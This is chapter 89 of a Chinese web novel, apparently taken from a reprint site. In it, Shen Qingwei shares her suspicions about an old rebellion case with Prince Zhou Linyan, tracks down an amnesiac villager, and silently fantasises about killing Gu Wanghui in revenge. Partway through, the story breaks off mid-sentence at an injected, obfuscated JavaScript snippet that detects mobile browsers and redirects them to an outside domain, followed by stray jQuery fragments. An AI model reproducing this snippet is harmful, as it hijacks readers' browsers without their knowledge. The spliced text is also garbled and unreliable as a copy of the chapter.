89. 怅然若失
作品:《宿敌他沦陷了》 “殿下不觉得顾大人的莅临让整件事情更加扑朔迷离了吗?”
周临言睁大了眼睛:“你的意思是……”
“这个案子疑点重重,与十年前的皋王谋反案巧合太多。我本也只是怀疑,但是见到顾大人以后,我更加确信了。多事之秋,离澈山既然把任务交代给我们,按理就不应该让旁人插手——更何况,顾大人此时本该是大忙人啊。
“所以我猜测,此案真凶极有可能是皋王余党。当然,这是我的个人猜测,还没有确切的证据,自然是不敢下定论的。”
“说的有道理。”周临言点点头,“可是——为什么只把这个猜测告诉我?你不是冲动的性子,我才你也并未对顾望悔说出这些话。可却偏偏敢把自己的猜测告诉我,沈晴微,你想我怎么做?”
要么说周临言擅长玩弄人心。
只言片语间,他就将沈晴微的企图看得一清二楚。
“殿下不妨听完我的猜测。结合容乙书房中的信,我猜,皋王余党本来还要有一番挣扎。但是这几个人选择退出,被视为罪人,因而落得个这么个下场。”
“同样是隐姓埋名生活十年,但是容乙能够顺利金蝉脱壳,或许是因为他为自己赎罪了——乱党会有新的行动。”
“殿下是不是觉得特别荒唐?我仅仅凭着一点蛛丝马迹捕风捉影,说出来这么一个故事。殿下心思缜密,不相信才是正常的。”
沈晴微苦涩一笑。
“我也觉得自己的猜测有些荒唐了。只是,有一种直觉……”
“沈晴微,你要我怎么做?你能把这些话同我说,我很庆幸。但,你一定是有目的的,对吧?说说吧,想做什么?”
“我想求殿下一件事,若日后真相真的如我所言,希望殿下看在我今日直言不讳的份上,我想请殿下替我保一个人。”
周临言抬眸:“谁?”
沈晴微淡然一笑:“如果我的猜测属实,到那一日再告诉殿下吧。”
“沈晴微,为什么我觉得你好像随时都会离开似的。就好像,你从未对这个世界产生一丝根根深蒂固的眷恋。这样吧,你答应我,至少在这三年里,你要好好活着,我就答应你替你保全心里牵挂的那个人。”
透过窗子,沈晴微看到太阳渐渐在西边的山头消失。她的心里却多了一丝什么东西,暖暖的,却如同盛夏之阳,让人有些燥热,有些不安,不敢握紧手心,怕只剩下一手的汗。
“殿下在不知道我想保全的那个人是睡得情况下就贸然许诺,不怕引火烧身么?若是我想保全的人是要被株连九族之人呢?”
“我相信你。若真的是你说得那样,只能说明那案子或许有隐情。”
沈晴微嗤笑道:“珩王殿下天真的时候真是让人不忍心骂你。”
真够傻的。他凭什么口口声声相信她?他自以为很了解她么?
真是可笑。
“不过殿下,恕我直言,我不是什么好人,你也别这么相信我。我之前就和殿下说过,殿下狡猾无情,我自私自利,我们真的很适合当同谋啊。”
周临言只是看着她,不紧不慢地开口道:“这世上,又有那个人当真是彻头彻尾的纯粹良善之人?倘若真的有,恐怕也不会出现在你我的身边。我们各自身处于不同的漩涡,想要活下去就足够难的了……”
“沈晴微,只要你答应我好好活着,至少这三年。你想保下的人,我会拼上一切努力一试。”
沈晴微摇摇头:“不必了殿下。我反悔了,我会好好活着的,但是那个人,或许不值得我这么做。”
不值得她辜负一个傻子的真心,甚至让他用命作为代价。
更重要的是,善恶终有报。倘若母亲真的不无辜,她没有资格替那些死不瞑目的人原谅。
凡事终究各有各的因果。她不该再妄图干涉的。
即便那个人是她的母亲。
至于生养之恩,三年后,她也会把这条命还给母亲。
只是,她的心口为什么还是像缺了一角似的?
周临言低下头,语气里有一种淡淡的怅然:“总觉得你心里藏了许多事,活得很累。”
沈晴微站在余晖中:“可我想要的明明不多——但却连那些都仿佛是奢望。”
也许这就是宿命吧。其实回顾过去的十几年,她已经很幸运了。
她自幼身体康健,有练武功的天赋;小时候能陪在母亲身边;还有一个疼爱她的阿姐;还遇上了宿弥这个伯乐,为她指点迷津。
已经很幸运了啊。
她还是知足的。
“周临言,你也要好好活着啊。”
眼前的人好像有点纳闷,眼睛一眨一眨地问她:“怎么忽然这么说?我这样自私的人,难道会想不开寻死吗?”
沈晴微也眨眨眼:“明枪暗箭,殿下身上流的血就注定了你的处境如履薄冰。我只是——担心殿下的安危。”
她根本没往寻死的方向想。
周临言走到沈晴微身旁,和她并肩站在夕阳里:“我们都要好好活着。”
“沈晴微,等一切尘埃落定,我们一起去看看这个千姿百态的世界吧——不同于京城的血雨腥风和勾心斗角的世界。”
*
第二日一早,沈晴微便去了周围的村里挨家挨户地问消息。
她想要找出还活着的十年前来到此处的人。
没准他们会成为破局的关键——虽然沈晴微也不确定,周边的村子里还有没这样的人。
其实她可以放手了的。
查这起案子是离澈山交代的任务。但是她之所以千方百计通过离澈山的选拔,又在考核中脱颖而出完全是为了云然。
顺便看看,这正序监到底是怎样的——连顾望悔这种那至亲之人铺路的人都能身在高位、深得帝心。
如今她直接见到了顾望悔的真容。甚至还有机会接触他。
何愁不能不声不响地杀了他?
只是,这个案子……她也想查出个水落石出。
冥冥之中有个声音告诉她,她要坚持查下去。
虽然进入正序监对现在的沈晴微来说已经没有用处了,但是她既然已经开始着手调查这个案子,那还是不要半途而废的好。
省得连累其他五个人。
她打听了一圈,还真就发现了一个十年前回村的人。
此人名叫文合,年五十,十年前才来到村里。据说和容乙一样,也失忆了。但容乙是身受重伤来到村子,昏迷后醒来就丧失了过往的记忆。但是文合刚来村子里的时候一切都很正常,既没受伤,也未失忆。
但刚来村子没多久,一个暴雨天,文合不慎落水。
“说来文合也是命大,那条河平日鲜少有人经过。更何况那一日还是暴雨!他能被人救上岸真是福大命大了!救他的人只将他扔在岸边。他那时应该是昏迷了,在岸边他淋了一夜的雨,第二日天放晴被人发现时已经发高烧了。这条命是侥幸捡回来了,但是关于从前的一切,他都不记得了。整个人也想是变了一个人似的,疯疯癫癫。清醒的时候少,大多数时候都是胡言乱语,一个人说着乱七八糟的话。唉……”
又是失忆!
侥幸捡回一条命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671474|165639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但是从此神志不清。
十年前,文合四十岁。四十岁的人,怎会无缘无故地落水?偏偏在偏僻的河边,偏偏又被人救上来了,偏偏又失忆了。
这世间,哪有这么凑巧的事?
沈晴微得去会一会这个文合。
在沈晴微赶到文合家门口时,恰好撞到另一个人也恰好刚赶到门口。
顾望悔。
想必他也是有所怀疑,听了昨日的汇报后决定从十年前的人下手。
两人敲了敲门,没有人答应。
沈晴微扫视四周一圈:说来也巧,容乙的家位置偏僻,这个文合也是如此。
在山脚下,几个小屋子零零散散地分布着。
要是想杀顾望悔,现在是个不可多得的好时候——路上连一个人影都没有,不会有人注意到这边的动静。而此地恰好位于山脚下,山上嘛,多的是吃人的猛兽。顾望悔可以是被野兽当做盘中餐,也可以是不慎坠入山崖,尸骨无存。
她只要迈出这一步,就能替故友报仇雪恨,以告慰故人的在天之灵。
沈晴微死死地盯着顾望悔的身上披着的衣裳——绫罗雪缎,织金纹履,金镶白玉腰带。
即便是出宫办案,也依然打扮得金贵,穿的一身奢华。
不愧是正序监的栋梁之材,陛下跟前的红人。
沈晴微想起初遇云然的那个大雪天,女孩冻红了的脸,冻僵了的手,手背皲裂的口子还沾着血。
云然的一生颠沛流离,过得太苦太苦。
沈晴微攥紧了手中的佩剑,剑柄上的纹路紧紧抵着她的手心,仿佛在支持她,陪着她一往无前。
她不动神色的咬紧了嘴唇,低着头用余光打量着身旁这个杀人凶手。
他是云然苦难一生的根源,是她颠沛流离生活的罪魁祸首,是她死不瞑目的执念……
她多想拔出手中的剑。
待剑锋划过眼前道貌岸然的狼心狗肺之徒的脖颈,当顾望悔的鲜血洒在擦拭得发亮的剑上,洒在剑格上的“如愿”二字,长眠于地下的故人,也能安心地合上双眼吧。
用亲妹妹的余生来为自己的官途铺路,几次三番地利用至亲之人,榨干至亲身上的最后一滴血,让她死不瞑目。自己则高高在上、理所当然地过上锦衣玉食的生活,不仅忘记来时的路,还虚伪地装作一个好哥哥的样子。
顾望悔,你的华服之下,究竟掩盖着一颗如何龌龊不堪的心!
阳光下,顾望悔那双骨节分明的手似乎透着光——那时一双及其好看的手,葱白,肌肤光滑。
和记忆中云然的伤痕累累的、布满血口子的手形成强烈的反差感。
沈晴微只觉得,这么好看的一双手,做过这么多狠毒无情之事的手,害死自己亲妹妹的手。
该剁下来,放在那座立着无名碑的墓前赎罪。当在天空翱翔的猎鹰瞄准了坟前的这块肉,饱餐一顿后,也能带上故人的一缕魂魄,携她去看看曾经未能看的山川湖泊,花鸟虫鱼。以弥补她年纪轻轻便溘然长逝的遗憾,了却她的生前夙愿——游四海,望山河。
可沈晴微转念一想,还是不要了吧。云然自己流过太多的血了,小姑娘一看到血就会心口发慌。这双罪恶之手早就沾满献血,还是不要拿到故人坟前扰了她的清静为好。
“云姑娘,你为何一直盯着我?”
顾望悔清脆的声音像是轰然坠地的一块玉,将沈晴微的幻想打碎,碎玉溅起,直直地扎进了眼睛。
只觉得眼前之人,分外不顺眼。
仿佛再看一眼,沈晴微就按耐不住自己的杀心。